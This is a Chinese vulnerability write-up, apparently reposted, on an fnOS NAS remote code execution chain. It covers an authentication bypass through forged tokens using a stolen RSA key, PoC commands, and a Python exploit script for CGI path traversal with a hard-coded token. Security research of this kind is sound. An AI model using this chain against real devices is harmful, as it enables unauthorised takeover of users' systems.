飞牛系统(fnOS)远程代码执行链:认证绕过

admin 2026-02-08 01:39:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析飞牛OS远程代码执行链中的认证绕过漏洞。利用验签逻辑中存在token即解密的缺陷,结合任意文件读取获取私钥,可伪造secret与token绕过认证。此外,通过CGI路径穿越上传恶意文件可实现命令执行,文中提供了详细PoC及利用思路。 综合评分: 88 文章分类: 漏洞分析,渗透测试,WEB安全,漏洞POC


cover_image

飞牛系统(fnOS)远程代码执行链:认证绕过

黑白之道

2026年2月6日 09:18 山东

前言

在最近针对飞牛OS的0day攻击中,攻击者可能利用了三个漏洞来实现完整攻击链。作者:bron1e,https://github.com/bron1e/fnos-rce-chain

  1. 任意文件读取
  2. 认证绕过
  3. 授权命令执行

其中任意文件读取和授权命令执行已被披露。本文主要对飞牛OS的认证绕过进行分析,并提出另一潜在命令执行路径。

认证绕过

1. 原理分析

1.1 登录逻辑

飞牛OS的登录逻辑如下:

用户请求 (Login/ChangePassword)
       |
       v
[ 应用程序 ]
       |
       +---> 1. 验证/修改密码
       |        |
       |        +---> [ 内存缓存 passwd ]
       |        |
       |        +---> [ Linux 系统调用 (crypt/PAM/chpasswd) ] ---> [ /etc/shadow ]
       |        |
       |        +---> [ smbpasswd 命令 ] ------------------------> [ Samba 密码库 ]
       |
       +---> 2. 登录成功后生成
                +---> [ 内存缓存 secret, token ]
                |
                +---> [ PostgreSQL 数据库 ] ---> 表: longtoken

授权命令执行需要拿到 secret 或者 token。但读取堆内存略微困难,因此要么读取到 longtoken 转化为 token,要么想办法利用业务漏洞。

1.2 交互逻辑

前端使用 Websocket 协议交互,登录流程如下:

1.3 Token生成逻辑

在 /usr/trim/bin/handlers/users.hdl 中的 do_login 函数中包含了 secret, token, longtoken的生成逻辑:

  • Secret (16字节):随机生成的 16 字节数据,强制将第 16 字节设置为 o

  • Token (32字节):

  • 前 16 字节 (IV):由时间戳、计时器和随机数拼接而成。

  • 后 16 字节 (Cipher):使用 RSA 密钥对 Secret 进行 AES 加密后的数据。

因此 secret 和 token 可以相互转化,这点很重要。

在 /usr/trim/bin/trim 中的 handle_websocket_packet 函数中包含了鉴权逻辑。

后端能够解析两种类型的包:

  • 加密包:不需要 secret 签名
  • 明文包:除非req白名单或者设置了no_sign,否则需要secret对请求体签名

看上去可以构造一个加密包,然后使用 longtoken 进行登录,从而绕过签名:

{
    "req": "user.tokenLogin",
    "reqid": xxx,
    "token": long_token,
    "deviceType": xxx,
    "deviceName": xxx,
    "did": xxx,
    "si": xxx,
}

遗憾的是,加密包会触发token长度的判断。

不过这里存在另一个漏洞:

验签时如果存在 token 字段,则直接对 token 解密得到 secret,然后对请求体计算签名。

因此,可以自己生成 secret 和 token 绕过认证。

2. PoC

需获取系统中的 rsa_private_key.pem(通过任意文件读取漏洞获取)。

# 1. 命令执行
python poc.py -k ./rsa_private_key.pem rce
# 2. 获取会话token
python poc.py -k ./rsa_private_key.pem login -t 9XlXMOgDAABCfaZpAAAAAAluArwO5RZ2JbzjA6m9hmnjp0KtNSz/SA==

拓展

1. CGI路径穿越

/usr/trim/bin/trim_http_cgi 存在一个稍弱的路径穿越、命令执行。

filepath.Join并不防御路径穿越,因此能从 /var/apps_ui 穿越到 /var,并执行任意文件。但存在有一些限制:

  1. 需要合法token
  2. 由于nginx的解析问题,只能穿越一层到 /var

利用思路:需要结合认证绕过和后文提到的postgresql数据库中的longtoken,生成一个合法token,调用文件上传的API,上传一个bash到/var目录。

import requests
import sys

TARGET_IP = "192.168.108.168"
TARGET_PORT = 5666

TOKEN = "g9auUGNTfmkV7fEAVF6qTdH2kQ9CgBkEHmkUBsNvU/8="

url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi/third-party/%2e./bash"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36",
    "Authorization": f"token {TOKEN}",
    "Content-Type": "application/x-www-form-urlencoded"
}

commands = "echo 1> /tmp/test.txt"

print(f"[*] Attacking: {url}")
print(f"[*] Using Token: {TOKEN[:10]}...")
print(f"[*] Command: {commands}")

try:
    # 发送 POST 请求
    response = requests.request("POST", url, headers=headers, data=commands, timeout=10)

    print("\n[+] Status Code:", response.status_code)
    print("[+] Response Body (Command Output):\n")
    print("-" * 40)
    print(response.text)
    print("-" * 40)

except Exception as e:
    print(f"[-] Error: {e}")

2. 读取postgresql数据库

PostgreSQL数据库位于 /var/lib/postgresql/*/main/base

该目录下有若干个数据库目录,通常为40000+,需要读取每个数据库下的pg_class表(固定OID为1259),然后从中获取 longtoken 表的 OID。

参考

https://club.fnnas.com/forum.php?mod=viewthread&tid=53230
https://v2ex.com/t/1189392

文章来源:李白,你好

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 《飞牛系统(fnOS)远程代码执行链:认证绕过》

评论:0   参与:  0